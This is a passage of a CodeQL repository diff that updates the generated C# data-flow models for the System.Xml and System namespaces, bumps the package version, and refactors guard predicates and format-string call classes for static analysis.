"(System.Xml.IXmlNamespaceResolver)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml.XPath", "XPathExpression", True, "SetContext", "(System.Xml.XmlNamespaceManager)", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] - ["System.Xml.XPath", "XPathExpression", True, "get_Expression", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Xml.XPath", "XPathItem", True, "ValueAs", "(System.Type)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.XPath", "XPathItem", True, "ValueAs", "(System.Type)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Xml.XPath", "XPathItem", True, "ValueAs", "(System.Type,System.Xml.IXmlNamespaceResolver)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.XPath", "XPathItem", True, "ValueAs", "(System.Type,System.Xml.IXmlNamespaceResolver)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - ["System.Xml.XPath", "XPathItem", True, "ValueAs", "(System.Type,System.Xml.IXmlNamespaceResolver)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Xml.Xsl.Runtime.model.yml b/csharp/ql/lib/ext/generated/System.Xml.Xsl.Runtime.model.yml index b27cc848761b..ba89318d1658 100644 --- a/csharp/ql/lib/ext/generated/System.Xml.Xsl.Runtime.model.yml +++ b/csharp/ql/lib/ext/generated/System.Xml.Xsl.Runtime.model.yml @@ -123,13 +123,14 @@ extensions: - ["System.Xml.Xsl.Runtime", "XmlQueryOutput", False, "WriteStartNamespace", "(System.String)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryOutput", False, "WriteStartProcessingInstruction", "(System.String)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryOutput", False, "XsltCopyOf", "(System.Xml.XPath.XPathNavigator)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "ChangeTypeXsltArgument", "(System.Int32,System.Object,System.Type)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "ChangeTypeXsltResult", "(System.Int32,System.Object)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "ChangeTypeXsltArgument", "(System.Int32,System.Object,System.Type)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "ChangeTypeXsltResult", "(System.Int32,System.Object)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "DebugGetGlobalNames", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "DebugGetGlobalValue", "(System.String)", "", "Argument[this].SyntheticField[System.Xml.Xsl.Runtime.XmlQueryRuntime._globalValues].Element", "ReturnValue", "value", "dfc-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "DebugGetXsltValue", "(System.Collections.IList)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "DebugGetXsltValue", "(System.Collections.IList)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "DebugSetGlobalValue", "(System.String,System.Object)", "", "Argument[1]", "Argument[this].SyntheticField[System.Xml.Xsl.Runtime.XmlQueryRuntime._globalValues].Element", "value", "dfc-generated"] - - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "DocOrderDistinct", "(System.Collections.Generic.IList)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "DocOrderDistinct", "(System.Collections.Generic.IList)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "EndRtfConstruction", "(System.Xml.Xsl.Runtime.XmlQueryOutput)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "EndRtfConstruction", "(System.Xml.Xsl.Runtime.XmlQueryOutput)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "EndSequenceConstruction", "(System.Xml.Xsl.Runtime.XmlQueryOutput)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] @@ -142,6 +143,7 @@ extensions: - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "ParseTagName", "(System.String,System.Int32)", "", "Argument[0]", "ReturnValue.Property[System.Xml.XmlQualifiedName.Name]", "value", "dfc-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "ParseTagName", "(System.String,System.String)", "", "Argument[0]", "ReturnValue.Property[System.Xml.XmlQualifiedName.Name]", "value", "dfc-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "ParseTagName", "(System.String,System.String)", "", "Argument[1]", "ReturnValue.Property[System.Xml.XmlQualifiedName.Namespace]", "value", "dfc-generated"] + - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "SetGlobalValue", "(System.Int32,System.Object)", "", "Argument[1]", "Argument[this].SyntheticField[System.Xml.Xsl.Runtime.XmlQueryRuntime._globalValues].Element", "value", "dfc-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "StartRtfConstruction", "(System.String,System.Xml.Xsl.Runtime.XmlQueryOutput)", "", "Argument[0]", "Argument[1]", "taint", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "StartRtfConstruction", "(System.String,System.Xml.Xsl.Runtime.XmlQueryOutput)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "StartSequenceConstruction", "(System.Xml.Xsl.Runtime.XmlQueryOutput)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] @@ -321,7 +323,6 @@ extensions: - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", "MatchesXmlType", "(System.Xml.XPath.XPathItem,System.Xml.Schema.XmlTypeCode)", "summary", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", "OnCurrentNodeChanged", "(System.Xml.XPath.XPathNavigator)", "summary", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", "SendMessage", "(System.String)", "summary", "df-generated"] - - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", "SetGlobalValue", "(System.Int32,System.Object)", "summary", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", "ThrowException", "(System.String)", "summary", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", "get_XsltFunctions", "()", "summary", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQuerySequence", "Clear", "()", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Xml.model.yml b/csharp/ql/lib/ext/generated/System.Xml.model.yml index 60dfe8192323..884ac93a9169 100644 --- a/csharp/ql/lib/ext/generated/System.Xml.model.yml +++ b/csharp/ql/lib/ext/generated/System.Xml.model.yml @@ -260,6 +260,7 @@ extensions: - ["System.Xml", "XmlNamespaceManager", True, "get_NameTable", "()", "", "Argument[this].SyntheticField[System.Xml.XmlNamespaceManager._nameTable]", "ReturnValue", "value", "dfc-generated"] - ["System.Xml", "XmlNode", True, "AppendChild", "(System.Xml.XmlNode)", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "AppendChild", "(System.Xml.XmlNode)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Xml", "XmlNode", True, "AppendChild", "(System.Xml.XmlNode)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Xml", "XmlNode", True, "AppendChild", "(System.Xml.XmlNode)", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "AppendChild", "(System.Xml.XmlNode)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "Clone", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] @@ -269,6 +270,7 @@ extensions: - ["System.Xml", "XmlNode", True, "InsertAfter", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[0].Element", "Argument[1].Element", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "InsertAfter", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "InsertAfter", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Xml", "XmlNode", True, "InsertAfter", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Xml", "XmlNode", True, "InsertAfter", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[1].Element", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "InsertAfter", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[1].Element", "Argument[this]", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "InsertAfter", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[1].Element", "ReturnValue", "taint", "df-generated"] @@ -277,20 +279,21 @@ extensions: - ["System.Xml", "XmlNode", True, "InsertBefore", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[0].Element", "Argument[1].Element", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "InsertBefore", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "InsertBefore", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Xml", "XmlNode", True, "InsertBefore", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Xml", "XmlNode", True, "InsertBefore", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[1].Element", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "InsertBefore", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[1].Element", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "InsertBefore", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "InsertBefore", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[this]", "Argument[1].Element", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "InsertBefore", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "PrependChild", "(System.Xml.XmlNode)", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] - - ["System.Xml", "XmlNode", True, "PrependChild", "(System.Xml.XmlNode)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Xml", "XmlNode", True, "PrependChild", "(System.Xml.XmlNode)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Xml", "XmlNode", True, "PrependChild", "(System.Xml.XmlNode)", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "PrependChild", "(System.Xml.XmlNode)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "RemoveChild", "(System.Xml.XmlNode)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Xml", "XmlNode", True, "ReplaceChild", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "ReplaceChild", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[1].Element", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "ReplaceChild", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[1].Element", "Argument[this]", "taint", "df-generated"] - - ["System.Xml", "XmlNode", True, "ReplaceChild", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[1].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Xml", "XmlNode", True, "ReplaceChild", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] - ["System.Xml", "XmlNode", True, "ReplaceChild", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "WriteContentTo", "(System.Xml.XmlWriter)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "WriteTo", "(System.Xml.XmlWriter)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] @@ -386,13 +389,14 @@ extensions: - ["System.Xml", "XmlReader", True, "get_Value", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "XmlReader", True, "get_XmlLang", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "XmlReaderSettings", False, "set_XmlResolver", "(System.Xml.XmlResolver)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Xml", "XmlResolver", True, "GetEntity", "(System.Uri,System.String,System.Type)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml", "XmlResolver", True, "GetEntity", "(System.Uri,System.String,System.Type)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] - ["System.Xml", "XmlResolver", True, "GetEntityAsync", "(System.Uri,System.String,System.Type)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "XmlResolver", True, "ResolveUri", "(System.Uri,System.String)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Xml", "XmlResolver", True, "ResolveUri", "(System.Uri,System.String)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] - ["System.Xml", "XmlResolver", True, "set_Credentials", "(System.Net.ICredentials)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml", "XmlSecureResolver", True, "GetEntity", "(System.Uri,System.String,System.Type)", "", "Argument[0].Property[System.Uri.LocalPath]", "ReturnValue", "taint", "dfc-generated"] - ["System.Xml", "XmlSecureResolver", True, "GetEntityAsync", "(System.Uri,System.String,System.Type)", "", "Argument[0].Property[System.Uri.LocalPath]", "ReturnValue.Property[System.Threading.Tasks.Task`1.Result]", "taint", "dfc-generated"] + - ["System.Xml", "XmlSecureResolver", True, "GetEntityAsync", "(System.Uri,System.String,System.Type)", "", "Argument[0]", "ReturnValue.Property[System.Threading.Tasks.Task`1.Result]", "taint", "dfc-generated"] - ["System.Xml", "XmlText", True, "SplitText", "(System.Int32)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "XmlTextReader", False, "GetRemainder", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "XmlTextReader", False, "XmlTextReader", "(System.IO.Stream,System.Xml.XmlNodeType,System.Xml.XmlParserContext)", "", "Argument[2]", "Argument[this]", "taint", "df-generated"] @@ -445,8 +449,8 @@ extensions: - ["System.Xml", "XmlWriter", False, "Create", "(System.Text.StringBuilder)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "XmlWriter", False, "Create", "(System.Text.StringBuilder,System.Xml.XmlWriterSettings)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "XmlWriter", False, "Create", "(System.Text.StringBuilder,System.Xml.XmlWriterSettings)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["System.Xml", "XmlWriter", False, "Create", "(System.Xml.XmlWriter)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["System.Xml", "XmlWriter", False, "Create", "(System.Xml.XmlWriter,System.Xml.XmlWriterSettings)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml", "XmlWriter", False, "Create", "(System.Xml.XmlWriter)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["System.Xml", "XmlWriter", False, "Create", "(System.Xml.XmlWriter,System.Xml.XmlWriterSettings)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Xml", "XmlWriter", False, "Create", "(System.Xml.XmlWriter,System.Xml.XmlWriterSettings)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "XmlWriter", False, "WriteAttributeString", "(System.String,System.String)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml", "XmlWriter", False, "WriteAttributeString", "(System.String,System.String)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.model.yml b/csharp/ql/lib/ext/generated/System.model.yml index 7265d33e2992..76de1acd16ce 100644 --- a/csharp/ql/lib/ext/generated/System.model.yml +++ b/csharp/ql/lib/ext/generated/System.model.yml @@ -45,6 +45,7 @@ extensions: - ["System", "ArraySegment", False, "Slice", "(System.Int32,System.Int32)", "", "Argument[this].SyntheticField[System.ArraySegment`1._array]", "ReturnValue.SyntheticField[System.ArraySegment`1._array]", "value", "dfc-generated"] - ["System", "ArraySegment", False, "get_Array", "()", "", "Argument[this].SyntheticField[System.ArraySegment`1._array]", "ReturnValue", "value", "dfc-generated"] - ["System", "ArraySegment", False, "get_Item", "(System.Int32)", "", "Argument[this].SyntheticField[System.ArraySegment`1._array].Element", "ReturnValue", "value", "dfc-generated"] + - ["System", "ArraySegment", False, "set_Item", "(System.Int32,T)", "", "Argument[1]", "Argument[this].SyntheticField[System.ArraySegment`1._array].Element", "value", "dfc-generated"] - ["System", "Attribute", True, "get_TypeId", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System", "BadImageFormatException", False, "BadImageFormatException", "(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)", "", "Argument[0].SyntheticField[System.Runtime.Serialization.SerializationInfo._values].Element", "Argument[this].SyntheticField[System.BadImageFormatException._fileName]", "value", "dfc-generated"] - ["System", "BadImageFormatException", False, "BadImageFormatException", "(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)", "", "Argument[0].SyntheticField[System.Runtime.Serialization.SerializationInfo._values].Element", "Argument[this].SyntheticField[System.BadImageFormatException._fusionLog]", "value", "dfc-generated"] @@ -94,7 +95,7 @@ extensions: - ["System", "Exception", False, "Exception", "(System.String,System.Exception)", "", "Argument[1]", "Argument[this].SyntheticField[System.Exception._innerException]", "value", "dfc-generated"] - ["System", "Exception", False, "ToString", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System", "Exception", False, "get_InnerException", "()", "", "Argument[this].SyntheticField[System.Exception._innerException]", "ReturnValue", "value", "dfc-generated"] - - ["System", "Exception", True, "GetBaseException", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System", "Exception", True, "GetBaseException", "()", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System", "Exception", True, "get_Message", "()", "", "Argument[this].SyntheticField[System.Exception._message]", "ReturnValue", "value", "dfc-generated"] - ["System", "Exception", True, "get_StackTrace", "()", "", "Argument[this].SyntheticField[System.Exception._remoteStackTraceString]", "ReturnValue", "value", "dfc-generated"] - ["System", "FormattableString", False, "CurrentCulture", "(System.FormattableString)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -717,28 +718,17 @@ extensions: - ["System", "Uri", False, "GetComponents", "(System.UriComponents,System.UriFormat)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System", "Uri", False, "GetLeftPart", "(System.UriPartial)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System", "Uri", False, "MakeRelative", "(System.Uri)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["System", "Uri", False, "MakeRelativeUri", "(System.Uri)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["System", "Uri", False, "ToString", "(System.String,System.IFormatProvider)", "", "Argument[this].SyntheticField[System.Uri._string]", "ReturnValue", "value", "dfc-generated"] - - ["System", "Uri", False, "TryCreate", "(System.String,System.UriCreationOptions,System.Uri)", "", "Argument[0]", "Argument[2].SyntheticField[System.Uri._string]", "value", "dfc-generated"] - - ["System", "Uri", False, "TryCreate", "(System.String,System.UriKind,System.Uri)", "", "Argument[0]", "Argument[2].SyntheticField[System.Uri._string]", "value", "dfc-generated"] - - ["System", "Uri", False, "TryCreate", "(System.Uri,System.String,System.Uri)", "", "Argument[1]", "Argument[2].SyntheticField[System.Uri._string]", "value", "dfc-generated"] - - ["System", "Uri", False, "TryCreate", "(System.Uri,System.Uri,System.Uri)", "", "Argument[0]", "Argument[2]", "taint", "df-generated"] - - ["System", "Uri", False, "TryCreate", "(System.Uri,System.Uri,System.Uri)", "", "Argument[1]", "Argument[2]", "taint", "df-generated"] + - ["System", "Uri", False, "MakeRelativeUri", "(System.Uri)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System", "Uri", False, "TryEscapeDataString", "(System.ReadOnlySpan,System.Span,System.Int32)", "", "Argument[0].Element", "Argument[1].Element", "value", "dfc-generated"] - ["System", "Uri", False, "TryUnescapeDataString", "(System.ReadOnlySpan,System.Span,System.Int32)", "", "Argument[0].Element", "Argument[1].Element", "value", "dfc-generated"] - ["System", "Uri", False, "UnescapeDataString", "(System.ReadOnlySpan)", "", "Argument[0].Element", "ReturnValue", "taint", "dfc-generated"] - ["System", "Uri", False, "UnescapeDataString", "(System.String)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System", "Uri", False, "Uri", "(System.String,System.UriCreationOptions)", "", "Argument[0]", "Argument[this].SyntheticField[System.Uri._string]", "value", "dfc-generated"] - - ["System", "Uri", False, "Uri", "(System.Uri,System.String)", "", "Argument[1]", "Argument[this].SyntheticField[System.Uri._string]", "value", "dfc-generated"] - - ["System", "Uri", False, "Uri", "(System.Uri,System.String,System.Boolean)", "", "Argument[1]", "Argument[this].SyntheticField[System.Uri._string]", "value", "dfc-generated"] - ["System", "Uri", False, "Uri", "(System.Uri,System.Uri)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System", "Uri", False, "Uri", "(System.Uri,System.Uri)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - ["System", "Uri", False, "get_AbsolutePath", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System", "Uri", False, "get_Authority", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System", "Uri", False, "get_DnsSafeHost", "()", "", "Argument[this].Property[System.Uri.IdnHost]", "ReturnValue", "value", "dfc-generated"] - ["System", "Uri", False, "get_Host", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System", "Uri", False, "get_IdnHost", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System", "Uri", False, "get_LocalPath", "()", "", "Argument[this].SyntheticField[System.Uri._string]", "ReturnValue", "value", "dfc-generated"] - ["System", "Uri", False, "get_Scheme", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System", "Uri", False, "get_UserInfo", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System", "UriParser", False, "Register", "(System.UriParser,System.String,System.Int32)", "", "Argument[1]", "Argument[0]", "taint", "df-generated"] @@ -1031,7 +1021,6 @@ extensions: - ["System", "ArraySegment", "get_Offset", "()", "summary", "df-generated"] - ["System", "ArraySegment", "op_Equality", "(System.ArraySegment,System.ArraySegment)", "summary", "df-generated"] - ["System", "ArraySegment", "op_Inequality", "(System.ArraySegment,System.ArraySegment)", "summary", "df-generated"] - - ["System", "ArraySegment", "set_Item", "(System.Int32,T)", "summary", "df-generated"] - ["System", "ArrayTypeMismatchException", "ArrayTypeMismatchException", "(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)", "summary", "df-generated"] - ["System", "ArrayTypeMismatchException", "ArrayTypeMismatchException", "(System.String)", "summary", "df-generated"] - ["System", "ArrayTypeMismatchException", "ArrayTypeMismatchException", "(System.String,System.Exception)", "summary", "df-generated"] @@ -5373,7 +5362,6 @@ extensions: - ["System", "Uri", "TryFormat", "(System.Span,System.Int32,System.ReadOnlySpan,System.IFormatProvider)", "summary", "df-generated"] - ["System", "Uri", "Unescape", "(System.String)", "summary", "df-generated"] - ["System", "Uri", "Uri", "(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)", "summary", "df-generated"] - - ["System", "Uri", "get_AbsoluteUri", "()", "summary", "df-generated"] - ["System", "Uri", "get_Fragment", "()", "summary", "df-generated"] - ["System", "Uri", "get_HostNameType", "()", "summary", "df-generated"] - ["System", "Uri", "get_IsAbsoluteUri", "()", "summary", "df-generated"] diff --git a/csharp/ql/lib/qlpack.yml b/csharp/ql/lib/qlpack.yml index 6612561523d5..b2c0106a2016 100644 --- a/csharp/ql/lib/qlpack.yml +++ b/csharp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-all -version: 5.1.6 +version: 5.1.8 groups: csharp dbscheme: semmlecode.csharp.dbscheme extractor: csharp diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/ModulusAnalysis.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/ModulusAnalysis.qll index 5b2a39ad6c9e..3e5a45da247d 100644 --- a/csharp/ql/lib/semmle/code/csharp/dataflow/ModulusAnalysis.qll +++ b/csharp/ql/lib/semmle/code/csharp/dataflow/ModulusAnalysis.qll @@ -17,7 +17,7 @@ private predicate valueFlowStepSsa(SsaVariable v, SsaReadPosition pos, Expr e, i exists(Guard guard, boolean testIsTrue | pos.hasReadOfVar(v) and guard = eqFlowCond(v, e, delta, true, testIsTrue) and - guardDirectlyControlsSsaRead(guard, pos, testIsTrue) + guardControlsSsaRead(guard, pos, testIsTrue) ) } diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/SsaImpl.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/SsaImpl.qll index ad7a2aba911a..6d59c0579860 100644 --- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/SsaImpl.qll +++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/SsaImpl.qll @@ -1044,17 +1044,25 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu class Guard extends Guards::Guard { /** - * Holds if the control flow branching from `bb1` is dependent on this guard, - * and that the edge from `bb1` to `bb2` corresponds to the evaluation of this - * guard to `branch`. + * Holds if the evaluation of this guard to `branch` corresponds to the edge + * from `bb1` to `bb2`. */ - predicate controlsBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch) { + predicate hasBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch) { exists(ControlFlow::SuccessorTypes::ConditionalSuccessor s | this.getAControlFlowNode() = bb1.getLastNode() and bb2 = bb1.getASuccessorByType(s) and s.getValue() = branch ) } + + /** + * Holds if this guard evaluating to `branch` controls the control-flow + * branch edge from `bb1` to `bb2`. That is, following the edge from + * `bb1` to `bb2` implies that this guard evaluated to `branch`. + */ + predicate controlsBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch) { + this.hasBranchEdge(bb1, bb2, branch) + } } /** Holds if the guard `guard` controls block `bb` upon evaluating to `branch`. */ diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/rangeanalysis/ModulusAnalysisSpecific.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/rangeanalysis/ModulusAnalysisSpecific.qll index 4a9c3cdbe6d5..c9c3a937ef9e 100644 --- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/rangeanalysis/ModulusAnalysisSpecific.qll +++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/rangeanalysis/ModulusAnalysisSpecific.qll @@ -32,8 +32,6 @@ module Private { class LeftShiftExpr = RU::ExprNode::LeftShiftExpr; - predicate guardDirectlyControlsSsaRead = RU::guardControlsSsaRead/3; - predicate guardControlsSsaRead = RU::guardControlsSsaRead/3; predicate valueFlowStep = RU::valueFlowStep/3; diff --git a/csharp/ql/lib/semmle/code/csharp/frameworks/Format.qll b/csharp/ql/lib/semmle/code/csharp/frameworks/Format.qll index cf61a5d75aab..b00459c64b0e 100644 --- a/csharp/ql/lib/semmle/code/csharp/frameworks/Format.qll +++ b/csharp/ql/lib/semmle/code/csharp/frameworks/Format.qll @@ -233,15 +233,28 @@ class InvalidFormatString extends StringLiteral { } } +/** + * A method call to a method that parses a format string, for example a call + * to `string.Format()`. + */ +abstract private class FormatStringParseCallImpl extends MethodCall { + /** + * Gets the expression used as the format string. + */ + abstract Expr getFormatExpr(); +} + +final class FormatStringParseCall = FormatStringParseCallImpl; + /** * A method call to a method that formats a string, for example a call * to `string.Format()`. */ -class FormatCall extends MethodCall { +class FormatCall extends FormatStringParseCallImpl { FormatCall() { this.getTarget() instanceof FormatMethod } /** Gets the expression used as the format string. */ - Expr getFormatExpr() { result = this.getArgument(this.getFormatArgument()) } + override Expr getFormatExpr() { result = 